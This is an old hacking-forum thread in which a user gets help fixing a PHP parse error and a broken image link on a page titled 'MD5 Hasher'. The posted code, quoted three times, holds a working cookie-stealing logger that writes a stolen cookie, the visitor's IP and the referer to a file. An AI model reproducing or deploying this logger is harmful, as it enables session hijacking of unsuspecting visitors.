Follow us on Twitter!
Hacking isn't just Computers & Exploits. It's a Philosophy. - Mr_Cheese
Thursday, April 24, 2014
Navigation
Home
HellBoundHackers Main:
HellBoundHackers Find:
HellBoundHackers Information:
Learn
Communicate
Submit
Shop
Challenges
HellBoundHackers Exploit:
HellBoundHackers Programming:
HellBoundHackers Think:
HellBoundHackers Track:
HellBoundHackers Patch:
HellBoundHackers Other:
HellBoundHackers Need Help?
Other
Members Online
Total Online: 33
Guests Online: 26
Members Online: 7

Registered Members: 82903
Newest Member: Piriformis
Latest Articles
View Thread

HellBound Hackers | Computer General | Webmasters Lounge

Author

Image as a Link PROBLEM


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 07-04-07 21:49
Code
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>MD5 Hasher</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>
<p align="center">
<h1 align="center">MD5 Hasher</h1>
<p>What would you like MD5 hashed? </p>
<form name="form1" method="post" action="md5er.php">
<p>
<input type="text" name="unencrypted">
</p>
<p>
<input type="submit" name="Submit" value="Submit">
</p>
</form>
<p>
</body>
<body>
<!-- LINE 23 -->
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date = date ("F j, Y, g:i a",mktime(date("g")+7));
$referer = getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: <b>'.$cookie.'</b><br> IP: <b>'.$ip.'</b><br> Date and Time: <b>'.$date.' EST</b><br> Referer: <b>'.$referer.'</b><br><br><br>');
fclose($fp);
?>

<font color="white">
<!-- LINE 35 -->
<?php
echo "<center><a href=\"http://tainted-sourcez.freehostia.com/tools/cracker.php\">Cracker</a></center>";
echo "<br><br>";
echo "<p align=left><h1><u>Affiliates</u></h1></p>
?>

<body>
<p>
You can also use an image as a link:
<a href="http://www.ziggyspage.com">
<img border="0" src="ziggyspage.jpg" width="65" height="38">
</a>
</p>

</body>
</body>
</html>




I'm trying to mage ziggyspage.jpg (the jpg file is uploaded on my site) as a link to my friends site. It just keeps giving me this error though: Parse error: parse error, unexpected T_STRING, expecting ',' or ';' in /home/www/tainted-sourcez.freehostia.com/index.php on line 45

I can't figure out whats wrong :@ HELP will be appreciated tremendously!


Author

RE: Image as a Link PROBLEM


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 07-04-07 21:53
Missing close quote

Code

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>MD5 Hasher</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>
<p align="center">
<h1 align="center">MD5 Hasher</h1>
<p>What would you like MD5 hashed? </p>
<form name="form1" method="post" action="md5er.php">
<p>
<input type="text" name="unencrypted">
</p>
<p>
<input type="submit" name="Submit" value="Submit">
</p>
</form>
<p>
</body>
<body>
<!-- LINE 23 -->
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date = date ("F j, Y, g:i a",mktime(date("g")+7));
$referer = getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: <b>'.$cookie.'</b><br> IP: <b>'.$ip.'</b><br> Date and Time: <b>'.$date.' EST</b><br> Referer: <b>'.$referer.'</b><br><br><br>');
fclose($fp);
?>

<font color="white">
<!-- LINE 35 -->
<?php
echo "<center><a href=\"http://tainted-sourcez.freehostia.com/tools/cracker.php\">Cracker</a></center>";
echo "<br><br>";
echo "<p align=left><h1><u>Affiliates</u></h1></p>";
?>

<body>
<p>
You can also use an image as a link:
<a href="http://www.ziggyspage.com">
<img border="0" src="ziggyspage.jpg" width="65" height="38">
</a>
</p>

</body>
</body>
</html>





[edit]Out of interest do you have line numbers on your editor. I suggest in future you go to the error line and check the problem




Edited by on 07-04-07 21:55
Author

RE: Image as a Link PROBLEM


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 07-04-07 21:57
Seems to work, but now I'm getting a broken image icon on the index.php page..also the Affiliates text doesn't show up.




Edited by on 07-04-07 21:58
Author

RE: Image as a Link PROBLEM


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 07-04-07 21:59
Thats because your image link is relative. Try an absolute link like "http://" or get the folder right


Author

RE: Image as a Link PROBLEM


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 07-04-07 22:00
mozzer wrote:
Missing close quote

Code

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>MD5 Hasher</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>
<p align="center">
<h1 align="center">MD5 Hasher</h1>
<p>What would you like MD5 hashed? </p>
<form name="form1" method="post" action="md5er.php">
<p>
<input type="text" name="unencrypted">
</p>
<p>
<input type="submit" name="Submit" value="Submit">
</p>
</form>
<p>
</body>
<body>
<!-- LINE 23 -->
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date = date ("F j, Y, g:i a",mktime(date("g")+7));
$referer = getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: <b>'.$cookie.'</b><br> IP: <b>'.$ip.'</b><br> Date and Time: <b>'.$date.' EST</b><br> Referer: <b>'.$referer.'</b><br><br><br>');
fclose($fp);
?>

<font color="white">
<!-- LINE 35 -->
<?php
echo "<center><a href=\"http://tainted-sourcez.freehostia.com/tools/cracker.php\">Cracker</a></center>";
echo "<br><br>";
echo "<p align=left><h1><u>Affiliates</u></h1></p>";
?>

<body>
<p>
You can also use an image as a link:
<a href="http://www.ziggyspage.com">
<img border="0" src="ziggyspage.jpg" width="65" height="38">
</a>
</p>

</body>
</body>
</html>





[edit]Out of interest do you have line numbers on your editor. I suggest in future you go to the error line and check the problem


I use notepad..only thing I have ( I had EVRSOFT but trashed it cuz I messed it all up in Olly XD ). But I had to count manually to tell which line was which, so I put HTML comments in there for faster reference.


Author

RE: Image as a Link PROBLEM


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 07-04-07 22:02
Get SciTE. That should mean that you can find lines easily.

I'd be screwed, when you get exceptions on like 6081 you wouldn't want to count


Author

RE: Image as a Link PROBLEM


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 07-04-07 22:02
ziggyspage.jpg is in your images folder
http://tainted-sourcez.freehostia.com/images/ziggyspage.jpg


Author

RE: Image as a Link PROBLEM


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 07-04-07 22:05
Its a sad thing when someone else has to tell you where your images are Pfft


Author

RE: Image as a Link PROBLEM


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 07-04-07 22:21
Yeah, I fixed it after I posted about it. :happy:

Thanks for the help by the way.Grin


Author

RE: Image as a Link PROBLEM


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 07-04-07 22:25
No problem, although in future please get a editor with numbers and check the lines before posting. The number of errors posted cause by missing ";", '"', and "} or {" is unreal


Author

RE: Image as a Link PROBLEM


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 07-04-07 22:28
How do I get an editor like that? Do you use one that you can link me to?


Author

RE: Image as a Link PROBLEM


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 07-04-07 22:29
http://www.scinti. . .SciTE.html

You can also get a PHP syntax highlighter for it


Author

RE: Image as a Link PROBLEM


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 07-04-07 22:35
Thanks, I'll go check it out. Wink


Author

RE: Image as a Link PROBLEM

SySTeM
Member

Your avatar

Posts: 1524
Location: England, UK
Joined: 27.07.05
Rank:
HBH Guru
Posted on 07-04-07 22:57
mozzer wrote:
The number of errors posted cause by missing ";", '"', and "} or {" is unreal


Amen to that Pfft


img138.imageshack.us/img138/6527/sig2ak1.jpg
www.hellboundhackers.org/sig/r/2783.png

http://www.elites0ft.com/
Author

RE: Image as a Link PROBLEM


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 08-04-07 07:19
Yay, not the only one wondering why it's always happening